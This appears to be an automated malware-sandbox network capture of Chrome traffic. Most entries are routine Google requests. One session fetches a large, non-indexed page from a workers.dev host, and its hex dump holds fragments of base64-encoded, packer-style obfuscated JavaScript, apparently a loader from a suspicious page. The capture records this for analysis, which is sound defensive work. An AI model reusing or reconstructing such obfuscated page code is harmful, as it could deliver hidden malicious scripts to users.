Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-29 00:01:23 UTC	1703	IN	Data Raw: 31 30 63 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 61 70 72 69 6c 20 32 38 22 2c 22 72 6f 62 6c 6f 78 20 61 6e 69 6d 65 20 73 77 69 74 63 68 20 63 6f 64 65 73 22 2c 22 6e 62 61 20 62 75 63 6b 73 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 74 6f 64 61 79 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 63 6f 6c 61 20 32 30 32 35 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 73 6e 6f 77 20 74 6f 74 61 6c 73 22 2c 22 78 62 6f 78 20 66 61 6c 6c 6f 75 74 20 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 Data Ascii: 10c7)]}'["",["nyt strands hints april 28","roblox anime switch codes","nba bucks","powerball lottery numbers","spacex falcon 9 rocket launch today","social security cola 2025","colorado snow totals","xbox fallout 5"],["","","","","","","",""],[],{"goog
2024-04-29 00:01:23 UTC	1703	IN	Data Raw: 79 5a 58 56 52 4e 57 31 53 4e 58 56 68 59 6e 46 75 65 6e 42 61 65 53 73 77 63 31 6c 6f 65 6d 6c 54 63 47 6c 33 4d 46 4a 35 52 48 6c 69 64 45 46 61 5a 6b 31 30 54 45 6f 31 57 58 52 6b 65 57 55 77 65 56 4a 54 54 44 68 48 61 55 46 75 63 33 52 6f 5a 33 68 33 65 55 6c 47 59 32 4e 31 5a 7a 46 6c 59 55 64 45 4d 44 42 56 54 6b 74 61 57 6d 46 4b 59 56 70 4a 4f 58 64 4a 4e 30 31 61 5a 6e 46 50 63 32 4a 36 61 45 4e 46 52 7a 63 32 64 32 6c 4d 51 55 6c 61 62 56 46 74 63 57 68 56 4e 57 39 6f 59 6c 5a 4d 53 6a 46 32 53 55 56 52 4f 45 77 72 63 6c 41 35 5a 33 6c 68 63 6d 68 42 55 32 63 7a 62 57 46 46 61 33 5a 55 54 45 39 79 59 30 73 72 53 32 78 45 63 6c 68 73 64 44 6c 31 52 55 52 46 64 46 56 73 59 6b 78 51 64 45 5a 76 59 6d 46 6e 56 31 56 35 64 6a 52 32 57 6c 4a 4c 61 31 Data Ascii: yZXVRNW1SNXVhYnFuenBaeSswc1loemlTcGl3MFJ5RHlidEFaZk10TEo1WXRkeWUweVJTTDhHaUFuc3RoZ3h3eUlGY2N1ZzFlYUdEMDBVTktaWmFKYVpJOXdJN01aZnFPc2J6aENFRzc2d2lMQUlabVFtcWhVNW9oYlZMSjF2SUVROEwrclA5Z3lhcmhBU2czbWFFa3ZUTE9yY0srS2xEclhsdDl1RURFdFVsYkxQdEZvYmFnV1V5djR2WlJLa1
2024-04-29 00:01:23 UTC	897	IN	Data Raw: 73 30 51 55 68 76 52 7a 41 7a 4e 32 52 4f 54 7a 6c 32 64 44 64 5a 63 55 4d 79 54 58 68 59 57 46 6b 7a 54 32 56 36 52 7a 46 69 51 31 68 6b 51 6a 5a 49 4d 44 6c 76 61 55 59 7a 51 56 6b 76 54 6c 59 78 62 56 52 69 5a 6a 4d 33 5a 48 52 36 4d 6b 4a 30 51 32 55 35 52 46 6c 70 4e 44 4d 30 53 69 74 75 62 79 74 35 59 58 64 6b 59 57 6b 32 55 55 70 50 51 33 68 78 57 45 35 59 63 6b 68 54 51 6c 4e 32 54 56 68 6a 4d 45 4e 6e 4e 32 56 6a 64 6b 74 7a 52 58 68 6e 64 6e 55 33 4d 32 78 68 64 56 46 4a 54 47 6f 33 53 46 68 6d 4e 33 52 52 56 45 4e 36 61 31 70 4a 64 48 70 4c 55 45 52 6c 52 6e 51 33 4b 7a 52 30 63 31 56 50 59 33 64 59 5a 56 59 78 4e 45 4d 33 4e 33 56 44 53 45 35 51 4e 54 56 76 51 56 64 5a 4d 47 68 57 65 56 41 7a 54 33 5a 78 55 32 39 48 4d 30 30 32 59 6d 4a 52 57 Data Ascii: s0QUhvRzAzN2ROTzl2dDdZcUMyTXhYWFkzT2V6RzFiQ1hkQjZIMDlvaUYzQVkvTlYxbVRiZjM3ZHR6MkJ0Q2U5RFlpNDM0Situbyt5YXdkYWk2UUpPQ3hxWE5YckhTQlN2TVhjMENnN2VjdktzRXhndnU3M2xhdVFJTGo3SFhmN3RRVEN6a1pJdHpLUERlRnQ3KzR0c1VPY3dYZVYxNEM3N3VDSE5QNTVvQVdZMGhWeVAzT3ZxU29HM002YmJRW
2024-04-29 00:01:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:22 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:23 UTC	1843	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRRtT5aGNPGu7EGIjD378IR4LJm1qYyyyfU-OncloSsy8H8q9nJ76n0GA5ReGEW23--dpcDluNgBDGYfjwyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI08a7sQYQu7fpwgESBFG1Plo Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 29 Apr 2024 00:01:23 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-29-00; expires=Wed, 29-May-2024 00:01:23 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=XtjMmH6JM8nzC8nN-k-2-T6gqx5KoLKajDuKXMsYvpBwE2kkFgZEPLcfZNUZ_eMWlr8Y3ZHtm5h5UvcTTNHAR5rLvbTq5F2F0m43MEvfOiRShH42emm_Ird4Id3OAHGMJ2RLHMwKWe7tfhvJAJDSN347uk9CsyTGVXdN_WXpKXw; expires=Tue, 29-Oct-2024 00:01:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:23 UTC	458	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:23 UTC	1761	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRRtT5aGNPGu7EGIjCTBdbxyyM3ZqJf3EonG_zCUB-Pw1QHWLoitfdBvEn-JTC53TE7YFIDf4y0FkKW9oMyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI08a7sQYQ_8G-8AESBFG1Plo Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 29 Apr 2024 00:01:23 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-29-00; expires=Wed, 29-May-2024 00:01:23 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=mUDkWxDR2WwRbHyVRxntCwSUaPcXEMYmu50FK7E9NWmA30rkCvr7Z3tiL5WY0MxSM5ptz6AxfLh8xEiOEPkw9NRMDh2RYGkbuI712vvNmA90yaf-sOl2w_WFgPOvyJa8RfaK2ykWIuCIqx7aFiFwJCH8C8V4PNBgvzkiqKlFUg0; expires=Tue, 29-Oct-2024 00:01:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:23 UTC	417	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	104.21.35.193	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:23 UTC	681	OUT	GET / HTTP/1.1 Host: cloudsss-c367.iardainwkasn.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:23 UTC	582	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:23 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1669445 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xuMy68hpruxKp%2BKl3lOP965jBbm4g6imM6ZBpgWC5xkfvFbIOZiTSk%2BwrLp4OZN8wp1KDsJIpw8pOTdNPPenbY%2FtN4xpNnv6UdQhuFoaSeWG%2BYpgHFL8uKGiZpg%2FYTOmbh25OBAHqlrXMV8ex8YjNz8iGnd6ieiusQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87bb0469fea56191-ORD alt-svc: h3=":443"; ma=86400
2024-04-29 00:01:23 UTC	787	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e Data Ascii: <!DOCTYPE html><html><head> <title></title> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex, nofollow"> <meta name="viewport" conten
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 67 4a 47 5a 76 5a 79 51 30 4c 43 41 6b 5a 6d 39 6e 4a 44 55 73 49 43 52 6d 62 32 63 6b 4e 69 77 67 4a 47 5a 76 5a 79 51 33 4c 43 41 6b 5a 6d 39 6e 4a 44 67 73 49 43 52 6d 62 32 63 6b 4f 53 77 67 4a 47 5a 76 5a 79 51 78 4d 43 77 67 4a 47 5a 76 5a 79 51 78 4d 53 77 67 4a 47 5a 76 5a 79 51 78 4d 69 77 67 4a 47 5a 76 5a 79 51 78 4d 79 77 67 4a 47 5a 76 5a 79 51 78 4e 43 77 67 4a 47 5a 76 5a 79 51 78 4e 53 77 67 4a 47 5a 76 5a 79 51 78 4e 69 77 67 4a 47 5a 76 5a 79 51 78 4e 79 77 67 4a 47 5a 76 5a 79 51 78 4f 43 77 67 4a 47 5a 76 5a 79 51 7a 4d 53 77 67 4a 47 5a 76 5a 79 51 79 4d 69 77 67 4a 47 5a 76 5a 79 51 79 4d 53 77 67 4a 47 5a 76 5a 79 51 79 4e 79 77 67 4a 47 5a 76 5a 79 51 79 4e 43 77 67 4a 47 5a 76 5a 79 51 79 4e 53 77 67 4a 47 5a 76 5a 79 51 79 4e 69 Data Ascii: gJGZvZyQ0LCAkZm9nJDUsICRmb2ckNiwgJGZvZyQ3LCAkZm9nJDgsICRmb2ckOSwgJGZvZyQxMCwgJGZvZyQxMSwgJGZvZyQxMiwgJGZvZyQxMywgJGZvZyQxNCwgJGZvZyQxNSwgJGZvZyQxNiwgJGZvZyQxNywgJGZvZyQxOCwgJGZvZyQzMSwgJGZvZyQyMiwgJGZvZyQyMSwgJGZvZyQyNywgJGZvZyQyNCwgJGZvZyQyNSwgJGZvZyQyNi
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 5a 6d 39 6e 4a 44 6c 39 4f 33 64 6f 61 57 78 6c 4b 47 4d 74 4c 53 6c 70 5a 69 68 72 57 32 4e 64 4b 58 41 39 63 46 73 6b 5a 6d 39 6e 4a 44 45 79 58 53 68 75 5a 58 63 67 55 6d 56 6e 52 58 68 77 4b 43 52 6d 62 32 63 6b 4f 43 74 6c 4b 47 4d 70 4b 79 52 6d 62 32 63 6b 4f 43 77 6b 5a 6d 39 6e 4a 44 63 70 4c 47 74 62 59 31 30 70 4f 33 4a 6c 64 48 56 79 62 69 42 77 66 53 67 6b 5a 6d 39 6e 4a 44 59 73 4a 47 5a 76 5a 79 51 31 4c 43 52 6d 62 32 63 6b 4e 43 77 6b 5a 6d 39 6e 4a 44 4a 62 4a 47 5a 76 5a 79 51 7a 58 53 67 6b 5a 6d 39 6e 4a 44 45 70 4c 43 52 6d 62 32 63 6b 4d 43 78 37 66 53 6b 70 44 51 70 39 4b 53 67 69 49 69 77 67 4d 7a 55 73 49 43 4a 6c 5a 47 39 44 63 6d 46 6f 51 32 31 76 63 6d 59 69 4c 43 41 79 4f 53 77 67 49 6d 64 75 61 58 4a 30 55 32 39 30 49 69 77 Data Ascii: Zm9nJDl9O3doaWxlKGMtLSlpZihrW2NdKXA9cFskZm9nJDEyXShuZXcgUmVnRXhwKCRmb2ckOCtlKGMpKyRmb2ckOCwkZm9nJDcpLGtbY10pO3JldHVybiBwfSgkZm9nJDYsJGZvZyQ1LCRmb2ckNCwkZm9nJDJbJGZvZyQzXSgkZm9nJDEpLCRmb2ckMCx7fSkpDQp9KSgiIiwgMzUsICJlZG9DcmFoQ21vcmYiLCAyOSwgImduaXJ0U290Iiw
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 57 52 71 5a 33 31 6a 61 6d 64 39 59 6d 70 6e 66 57 46 71 5a 33 30 35 61 6d 64 39 4f 47 70 6e 66 54 64 71 5a 33 30 32 61 6d 64 39 4e 57 70 6e 66 54 52 71 5a 33 30 7a 61 6d 64 39 4d 6d 70 6e 66 54 46 71 5a 33 30 77 61 6d 64 39 57 6d 6c 6e 66 56 6c 70 5a 33 31 59 61 57 64 39 56 32 6c 6e 66 56 5a 70 5a 33 31 56 61 57 64 39 56 47 6c 6e 66 54 4e 46 4d 58 30 36 4d 30 55 78 66 56 4e 70 5a 33 31 53 61 57 64 39 65 33 52 32 66 56 46 70 5a 33 31 51 61 57 64 37 54 32 6c 6e 66 55 35 70 5a 7a 6f 36 4e 44 56 39 54 57 6c 6e 66 55 78 70 5a 33 31 4c 61 57 64 62 5a 48 31 4b 61 57 64 39 53 57 6c 6e 4f 6a 55 36 4d 7a 4e 39 53 47 6c 6e 66 55 64 70 5a 33 31 47 61 57 64 39 52 57 6c 6e 66 55 52 70 5a 33 31 44 61 57 64 39 51 6d 6c 6e 66 55 46 70 5a 33 31 36 61 57 64 39 65 57 6c 6e Data Ascii: WRqZ31jamd9YmpnfWFqZ305amd9OGpnfTdqZ302amd9NWpnfTRqZ30zamd9MmpnfTFqZ30wamd9WmlnfVlpZ31YaWd9V2lnfVZpZ31VaWd9VGlnfTNFMX06M0UxfVNpZ31SaWd9e3R2fVFpZ31QaWd7T2lnfU5pZzo6NDV9TWlnfUxpZ31LaWdbZH1KaWd9SWlnOjU6MzN9SGlnfUdpZ31GaWd9RWlnfURpZ31DaWd9QmlnfUFpZ316aWd9eWln
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 5a 6e 66 56 74 4f 5a 6d 64 39 54 57 5a 6e 66 55 78 6d 5a 33 31 4c 5a 6d 64 62 66 55 70 6d 5a 33 31 4a 5a 6d 64 39 53 47 5a 6e 66 55 64 6d 5a 31 74 5a 66 56 64 45 4d 58 31 47 5a 6d 64 39 52 57 5a 6e 66 55 52 6d 5a 33 31 62 51 32 5a 6e 66 55 4a 6d 5a 33 31 62 51 57 5a 6e 66 56 74 36 5a 6d 64 39 57 33 6c 6d 5a 33 31 62 65 47 5a 6e 66 56 5a 43 4d 58 31 33 5a 6d 64 62 63 7a 63 78 66 56 74 32 5a 6d 64 39 64 57 5a 6e 66 58 52 6d 5a 33 74 7a 5a 6d 64 39 63 6d 5a 6e 66 58 46 6d 5a 33 31 77 5a 6d 64 39 62 32 5a 6e 66 57 35 6d 5a 33 31 74 5a 6d 64 39 62 47 5a 6e 66 58 64 47 65 33 4d 31 4d 58 31 72 5a 6d 64 39 57 32 70 6d 5a 33 31 70 5a 6d 64 39 61 47 5a 6e 66 57 64 6d 5a 33 31 6d 5a 6d 64 39 5a 57 5a 6e 65 32 52 6d 5a 33 31 6a 5a 6d 64 39 57 32 4a 6d 5a 33 31 72 52 Data Ascii: ZnfVtOZmd9TWZnfUxmZ31LZmdbfUpmZ31JZmd9SGZnfUdmZ1tZfVdEMX1GZmd9RWZnfURmZ31bQ2ZnfUJmZ31bQWZnfVt6Zmd9W3lmZ31beGZnfVZCMX13ZmdbczcxfVt2Zmd9dWZnfXRmZ3tzZmd9cmZnfXFmZ31wZmd9b2ZnfW5mZ31tZmd9bGZnfXdGe3M1MX1rZmd9W2pmZ31pZmd9aGZnfWdmZ31mZmd9ZWZne2RmZ31jZmd9W2JmZ31rR
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 6e 57 30 4a 6a 5a 31 74 39 51 57 4e 6e 66 58 70 6a 5a 31 74 39 65 57 4e 6e 57 32 59 32 4d 56 74 39 65 47 4e 6e 57 33 4e 62 5a 48 31 33 59 32 64 39 64 6d 4e 6e 66 58 56 6a 5a 33 31 30 59 32 64 39 53 6c 46 62 63 32 4e 6e 66 58 4a 6a 5a 33 31 78 59 32 64 39 63 47 4e 6e 66 57 39 6a 5a 33 31 75 59 32 64 37 4e 56 46 62 62 57 4e 6e 66 57 78 6a 5a 33 31 72 59 32 64 62 66 57 70 6a 5a 33 31 70 59 32 64 62 66 57 68 6a 5a 33 31 6e 59 32 64 37 5a 6d 4e 6e 66 57 56 6a 5a 33 31 6b 59 32 64 62 63 32 31 39 59 32 4e 6e 66 57 4a 6a 5a 33 31 68 59 32 64 39 4f 57 4e 6e 66 54 68 6a 5a 33 30 33 59 32 64 39 4e 6d 4e 6e 66 54 56 6a 5a 33 30 30 59 32 64 39 4d 32 4e 6e 57 7a 4a 6a 5a 33 30 78 59 32 64 62 4d 47 4e 6e 66 56 70 69 5a 31 74 5a 59 6d 64 39 57 47 4a 6e 66 56 64 69 5a 33 Data Ascii: nW0JjZ1t9QWNnfXpjZ1t9eWNnW2Y2MVt9eGNnW3NbZH13Y2d9dmNnfXVjZ310Y2d9SlFbc2NnfXJjZ31xY2d9cGNnfW9jZ31uY2d7NVFbbWNnfWxjZ31rY2dbfWpjZ31pY2dbfWhjZ31nY2d7ZmNnfWVjZ31kY2dbc219Y2NnfWJjZ31hY2d9OWNnfThjZ303Y2d9NmNnfTVjZ300Y2d9M2NnWzJjZ30xY2dbMGNnfVpiZ1tZYmd9WGJnfVdiZ3
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 66 56 6b 34 5a 31 74 5a 62 58 31 59 57 46 74 52 66 56 67 34 5a 33 74 4a 57 6e 31 58 4f 47 64 39 56 31 74 57 4f 47 64 37 53 48 31 56 4f 47 64 37 53 6e 31 55 4f 47 64 39 55 7a 68 6e 66 56 49 34 5a 33 31 52 4f 47 64 39 55 44 68 6e 57 30 38 34 5a 33 31 4f 4f 47 64 62 54 54 68 6e 65 7a 56 58 57 30 77 34 5a 31 74 34 52 44 46 37 5a 6b 68 39 53 7a 68 6e 66 55 6f 34 5a 33 31 4a 4f 47 64 62 53 44 68 6e 57 31 68 62 55 58 31 48 4f 47 64 39 52 6a 68 6e 66 55 55 34 5a 33 31 45 4f 47 64 39 51 7a 68 6e 66 56 46 62 52 57 39 39 51 6a 68 6e 66 55 45 34 5a 33 31 36 4f 47 64 39 65 54 68 6e 57 33 67 34 5a 33 31 33 4f 47 64 62 66 58 59 34 5a 33 31 31 4f 47 64 39 64 44 68 6e 66 58 4d 34 5a 33 31 79 4f 47 64 62 65 33 45 34 5a 33 74 4b 5a 48 31 77 4f 47 64 39 62 7a 68 6e 57 32 34 Data Ascii: fVk4Z1tZbX1YWFtRfVg4Z3tJWn1XOGd9V1tWOGd7SH1VOGd7Sn1UOGd9UzhnfVI4Z31ROGd9UDhnW084Z31OOGdbTThnezVXW0w4Z1t4RDF7Zkh9SzhnfUo4Z31JOGdbSDhnW1hbUX1HOGd9RjhnfUU4Z31EOGd9QzhnfVFbRW99QjhnfUE4Z316OGd9eThnW3g4Z313OGdbfXY4Z311OGd9dDhnfXM4Z31yOGdbe3E4Z3tKZH1wOGd9bzhnW24
